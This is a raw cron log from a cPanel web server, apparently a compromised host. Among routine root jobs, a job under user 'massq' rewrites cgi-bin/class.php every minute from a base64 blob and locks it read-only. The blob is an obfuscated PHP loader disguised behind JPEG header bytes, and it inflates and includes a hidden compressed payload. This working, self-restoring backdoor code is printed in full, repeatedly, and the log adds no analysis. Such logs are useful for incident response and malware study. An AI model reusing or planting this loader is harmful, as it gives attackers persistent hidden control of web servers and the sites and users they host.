Sep  3 10:53:01 server CROND[5452]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:53:01 server CROND[5453]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:53:01 server CROND[5454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:54:01 server CROND[5847]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:54:01 server CROND[5848]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:54:01 server CROND[5846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:55:01 server CROND[6250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:55:01 server CROND[6251]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 10:55:01 server CROND[6253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:55:01 server CROND[6256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:55:01 server CROND[6254]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 10:55:01 server CROND[6257]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 10:55:01 server CROND[6255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 10:56:01 server CROND[7411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:56:01 server CROND[7412]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:56:01 server CROND[7413]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:57:01 server CROND[7880]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 10:57:01 server CROND[7881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:57:01 server CROND[7882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:57:01 server CROND[7883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:58:01 server CROND[8820]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:58:01 server CROND[8821]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 10:58:01 server CROND[8822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:59:01 server CROND[9222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 10:59:01 server CROND[9223]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 10:59:01 server CROND[9224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:00:01 server CROND[9615]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 11:00:01 server CROND[9617]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 11:00:01 server CROND[9618]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 11:00:01 server CROND[9619]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 11:00:01 server CROND[9621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:00:01 server CROND[9626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:00:01 server CROND[9625]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 11:00:01 server CROND[9622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:00:01 server CROND[9620]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 11:01:01 server CROND[10458]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:01:01 server CROND[10459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:01:01 server CROND[10460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:01:01 server CROND[10461]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 11:01:01 server run-parts(/etc/cron.hourly)[10461]: starting 0anacron
Sep  3 11:01:01 server run-parts(/etc/cron.hourly)[10479]: finished 0anacron
Sep  3 11:02:01 server CROND[10947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:02:01 server CROND[10948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:02:01 server CROND[10949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:03:01 server CROND[11343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:03:01 server CROND[11344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:03:01 server CROND[11345]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:04:01 server CROND[11747]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 11:04:01 server CROND[11748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 11:04:01 server CROND[11749]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 11:05:01 server CROND[12140]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 11:05:01 server CROND[12141]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
